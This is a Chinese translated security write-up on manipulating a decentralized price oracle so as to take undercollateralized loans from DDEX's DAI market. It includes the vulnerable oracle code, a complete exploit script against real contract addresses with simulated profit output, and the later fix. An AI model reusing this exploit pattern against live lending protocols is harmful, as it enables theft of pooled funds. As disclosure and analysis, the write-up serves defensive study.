【文章閱讀】抵押品不足的貸款攻擊
前言
原文:Taking undercollateralized loans for fun and for profit
DDEX 和 bZx 依賴鏈上去中心化價格預言機而不驗證返回的利率,使其容易受到原子價格操縱。
本篇文章對原文的第一部分進行了翻譯并添加了注釋。
什么是去中心化借貸
當你申請一筆貸款時,通常需要提供某種抵押品。如果你的貸款違約,貸款人可以通過沒收抵押品來彌補自身的損失。為了確定抵押品的價值,貸方需要可靠地計算出抵押品的公平市場價值(FMV)。但是智能合約不能簡單地“知道”你試圖提供的任何抵押品的 FMV。
為了解決這個問題,開發(fā)人員基于智能合約設計出價格預言機:接受一個代幣的地址并以所需貨幣(例如,ETH 或美元)返回該代幣的當前價格。
價格預言機大概可以分為五類
-
鏈下中心化預言機
最新價格由項目組控制的線下預言機提供
Compound Finance 和 Synthetix 采用這種形式
-
鏈下去中心化預言機
這種類型的預言機接受來自多個鏈下來源的新價格,并通過數(shù)學函數(shù)(例如平均值)合并這些值。
Maker 采用這種形式
-
鏈上中心化預言機
這種類型的預言機使用鏈上資源(例如 DEX)來確定資產的價格。但是,只有中心化應用可以觸發(fā)預言機從鏈上源讀取。
-
鏈上去中心化預言機
這種類型的預言機使用鏈上資源確定資產的價格,任何人都可以更新。可能會有一些健全性檢查,以確保價格不會波動太大。
-
常量預言機
此類型的預言機只返回一個常數(shù)值,通常用于穩(wěn)定幣。
USDC 等穩(wěn)定幣使用
問題
一般來說,如果價格預言機是完全去中心化的,那么攻擊者可以在特定時刻顯著地操縱價格,而滑點費用的損失很小或沒有。如果攻擊者可以使得 DeFi dApp 在價格被操縱的那一刻檢查預言機,那么可能會對系統(tǒng)造成重大損害。在下面 DDEX 和 bZx 的例子中,可以取出看似充分抵押,但實際上抵押不足的貸款。
DDEX (Hydro Protocol)
DDEX 是一個去中心化的交易平臺,正在向去中心化借貸發(fā)展,為他們的用戶提供建立杠桿式多空頭寸的能力。
2019 年 9 月 9 日,DDEX 將 DAI 作為資產添加到他們的保證金交易平臺,并啟用了 ETH/DAI 市場。通過 this 合約計算 PriceOfETHInUSD / PriceOfETHInDAI 來間接計算 DAI/USD 的值。
ETH/USD 的價格是從 Maker 預言機中讀取, ETH/DAI 的價格是從 Eth2Dai 中讀取的,或者如果買賣差價太大(大于 2%),則從 Uniswap 中讀取。
為了觸發(fā)更新并使預言機刷新其存儲的值,用戶只需調用 updatePrice()。
源代碼此處,下面為部分相關代碼。
function updatePrice()
public
returns (bool)
{
uint256 _price = peek();
if (_price != 0) {
price = _price;
emit UpdatePrice(price);
return true;
} else {
return false;
}
}
function peek()
public
view
returns (uint256 _price)
{
uint256 makerDaoPrice = getMakerDaoPrice();
if (makerDaoPrice == 0) {
return _price;
}
uint256 eth2daiPrice = getEth2DaiPrice();
if (eth2daiPrice > 0) {
_price = makerDaoPrice.mul(ONE).div(eth2daiPrice);
return _price;
}
uint256 uniswapPrice = getUniswapPrice();
if (uniswapPrice > 0) {
_price = makerDaoPrice.mul(ONE).div(uniswapPrice);
return _price;
}
return _price;
}
function getEth2DaiPrice()
public
view
returns (uint256)
{
if (Eth2Dai.isClosed() || !Eth2Dai.buyEnabled() || !Eth2Dai.matchingEnabled()) {
return 0;
}
// eth2daiETHAmount == 10 ether
uint256 bidDai = Eth2Dai.getBuyAmount(address(DAI), WETH, eth2daiETHAmount);
uint256 askDai = Eth2Dai.getPayAmount(address(DAI), WETH, eth2daiETHAmount);
uint256 bidPrice = bidDai.mul(ONE).div(eth2daiETHAmount);
uint256 askPrice = askDai.mul(ONE).div(eth2daiETHAmount);
uint256 spread = askPrice.mul(ONE).div(bidPrice).sub(ONE);
// eth2daiMaxSpread == 2.00%
if (spread > eth2daiMaxSpread) {
return 0;
} else {
return bidPrice.add(askPrice).div(2);
}
}
function getUniswapPrice()
public
view
returns (uint256)
{
uint256 ethAmount = UNISWAP.balance;
uint256 daiAmount = DAI.balanceOf(UNISWAP);
uint256 uniswapPrice = daiAmount.mul(10**18).div(ethAmount);
// uniswapMinETHAmount == 2000 ether
if (ethAmount < uniswapMinETHAmount) {
return 0;
} else {
return uniswapPrice;
}
}
function getMakerDaoPrice()
public
view
returns (uint256)
{
(bytes32 value, bool has) = makerDaoOracle.peek();
if (has) {
return uint256(value);
} else {
return 0;
}
}
攻擊
如果我們能夠大幅地控制 DAI/USD 的價格,那么我們希望抵押盡可能少的 DAI 來借出合約中的所有 ETH。我們可以通過降低 ETH/USD 的價格或者提高 DAI/USD 的價格來實現(xiàn)這一目標。本案例中選擇后者。
為了達到提高 DAI/USD 價格的目的,我們可以通過提高 ETH/USD 價格或者降低 ETH/DAI 價格來實現(xiàn)。因為 Maker 提供 ETH/USD 的價格,而操縱 Maker (鏈下去中心化預言機)是不可能的,所以我們只能嘗試降低 ETH/DAI 的價格。
要使得 DAI/USD 變大,ETH/USD不變,所以就只能令 ETH/DAI 的價格比值變小(也就是 DAI/ETH 的價格比值變大)

預言機會通過計算 Eth2Dai 中賣價與買價的平均值來確定 ETH/DAI 的價格。為了降低這個價格,我們需要通過促成現(xiàn)有訂單來降低當前出價,然后通過下新訂單來降低當前要價。這種方法需要大量的資產來實現(xiàn)。
因此,我們的目標是繞過 Eth2Dai 邏輯并操縱 Uniswap 中 ETH/DAI 的價格。我們可以通過向 Uniswap 買入大量 DAI (ETH/DAI 的存量比值變大)來降低 ETH/DAI 的價格比值。
文章中的 Uniswap 應該是指 V1 版本
我們需要控制買賣差價的大小來繞過 Eth2Dai,有以下兩種方法:
- 促成訂單簿的一側的交易,而留下另一側。
- 通過列出極端買入或賣出訂單來強制交叉訂單簿,使得買單價格高,賣單價格低。
但目標合約使用了 SafeMath 不允許交叉訂單簿,因此我們無法使用第二種強制交叉訂單簿的情況來使得 uint256 spread = askPrice.mul(ONE).div(bidPrice).sub(ONE); 滿足 spread > 2% 。所以我們將通過清除訂單簿的一側來強制實現(xiàn)較大的價差。這將導致 DAI 預言機選擇 Uniswap 來確定 DAI 的價格。然后,我們可以通過買入大量的 DAI 來降低 ETH/DAI 的的價格比值(ETH/DAI 的存量比值變大)。一旦 DAI/USD 的表面價值被操縱,便可實現(xiàn)攻擊。
演示
根據(jù)以下攻擊步驟可以獲取大概 70 ETH 的利潤
- 清除 Eth2Dai 的賣單,直到買賣價差大到足以讓預言機拒絕詢價
- 從 Uniswap 購買大量 DAI,將價格從 213DAI/ETH 降至 13DAI/ETH
- 以較少量 DAI 盡可能多地借入 ETH
- 將我們從 Uniswap 購買的 DAI 賣回 Uniswap
- 將我們從 Eth2Dai 購買的 DAI 賣回給 Eth2Dai
- 重置預言機(避免其他人使用我們的攻擊手段)
contract DDEXExploit is Script, Constants, TokenHelper {
OracleLike private constant ETH_ORACLE = OracleLike(0x8984F1CFf1d614a7404b0cfE97C6fa9110b93Bd2);
DaiOracleLike private constant DAI_ORACLE = DaiOracleLike(0xeB1f1A285fee2AB60D2910F2786E1D036E09EAA8);
ERC20Like private constant HYDRO_ETH = ERC20Like(0x000000000000000000000000000000000000000E);
HydroLike private constant HYDRO = HydroLike(0x241e82C79452F51fbfc89Fac6d912e021dB1a3B7);
uint16 private constant ETHDAI_MARKET_ID = 1;
uint private constant INITIAL_BALANCE = 25000 ether;
function setup() public {
name("ddex-exploit");
blockNumber(8572000);
}
function run() public {
begin("exploit")
.withBalance(INITIAL_BALANCE)
.first(this.checkRates)
.then(this.skewRates)
.then(this.checkRates)
.then(this.steal)
.then(this.cleanup)
.then(this.checkProfits);
}
function checkRates() external {
uint ethPrice = ETH_ORACLE.getPrice(HYDRO_ETH);
uint daiPrice = DAI_ORACLE.getPrice(DAI);
printf("eth=%.18u dai=%.18u\n", abi.encode(ethPrice, daiPrice));
}
uint private boughtFromMatchingMarket = 0;
function skewRates() external {
skewUniswapPrice();
skewMatchingMarket();
require(DAI_ORACLE.updatePrice());
}
function skewUniswapPrice() internal {
DAI.getFromUniswap(DAI.balanceOf(address(DAI.getUniswapExchange())) * 75 / 100);
}
function skewMatchingMarket() internal {
uint start = DAI.balanceOf(address(this));
WETH.deposit.value(address(this).balance)();
WETH.approve(address(MATCHING_MARKET), uint(-1));
while (DAI_ORACLE.getEth2DaiPrice() != 0) {
MATCHING_MARKET.buyAllAmount(DAI, 5000 ether, WETH, uint(-1));
}
boughtFromMatchingMarket = DAI.balanceOf(address(this)) - start;
WETH.withdrawAll();
}
function steal() external {
HydroLike.Market memory ethDaiMarket = HYDRO.getMarket(ETHDAI_MARKET_ID);
HydroLike.BalancePath memory commonPath = HydroLike.BalancePath({
category: HydroLike.BalanceCategory.Common,
marketID: 0,
user: address(this)
});
HydroLike.BalancePath memory ethDaiPath = HydroLike.BalancePath({
category: HydroLike.BalanceCategory.CollateralAccount,
marketID: 1,
user: address(this)
});
uint ethWanted = HYDRO.getPoolCashableAmount(HYDRO_ETH);
uint daiRequired = ETH_ORACLE.getPrice(HYDRO_ETH) * ethWanted * ethDaiMarket.withdrawRate / DAI_ORACLE.getPrice(DAI) / 1 ether + 1 ether;
printf("ethWanted=%.18u daiNeeded=%.18u\n", abi.encode(ethWanted, daiRequired));
HydroLike.Action[] memory actions = new HydroLike.Action[](5);
actions[0] = HydroLike.Action({
actionType: HydroLike.ActionType.Deposit,
encodedParams: abi.encode(address(DAI), uint(daiRequired))
});
actions[1] = HydroLike.Action({
actionType: HydroLike.ActionType.Transfer,
encodedParams: abi.encode(address(DAI), commonPath, ethDaiPath, uint(daiRequired))
});
actions[2] = HydroLike.Action({
actionType: HydroLike.ActionType.Borrow,
encodedParams: abi.encode(uint16(ETHDAI_MARKET_ID), address(HYDRO_ETH), uint(ethWanted))
});
actions[3] = HydroLike.Action({
actionType: HydroLike.ActionType.Transfer,
encodedParams: abi.encode(address(HYDRO_ETH), ethDaiPath, commonPath, uint(ethWanted))
});
actions[4] = HydroLike.Action({
actionType: HydroLike.ActionType.Withdraw,
encodedParams: abi.encode(address(HYDRO_ETH), uint(ethWanted))
});
DAI.approve(address(HYDRO), daiRequired);
HYDRO.batch(actions);
}
function cleanup() external {
DAI.approve(address(MATCHING_MARKET), uint(-1));
MATCHING_MARKET.sellAllAmount(DAI, boughtFromMatchingMarket, WETH, uint(0));
WETH.withdrawAll();
DAI.giveAllToUniswap();
require(DAI_ORACLE.updatePrice());
}
function checkProfits() external {
printf("profits=%.18u\n", abi.encode(address(this).balance - INITIAL_BALANCE));
}
}
/*
### running script "ddex-exploit" at block 8572000
#### executing step: exploit
##### calling: checkRates()
eth=213.440000000000000000 dai=1.003140638067989051
##### calling: skewRates()
##### calling: checkRates()
eth=213.440000000000000000 dai=16.058419875880325580
##### calling: steal()
ethWanted=122.103009983203364425 daiNeeded=2435.392672403537525078
##### calling: cleanup()
##### calling: checkProfits()
profits=72.140629996890984407
#### finished executing step: exploit
*/
解決方法
DDEX 部署了一個新的預言機,其中對 DAI 的價格限制在 0.95-11.05 之間。
function updatePrice()
public
returns (bool)
{
uint256 _price = peek();
if (_price == 0) {
return false;
}
if (_price == price) {
return true;
}
if (_price > maxPrice) {
_price = maxPrice;
} else if (_price < minPrice) {
_price = minPrice;
}
price = _price;
emit UpdatePrice(price);
return true;
}

浙公網安備 33010602011771號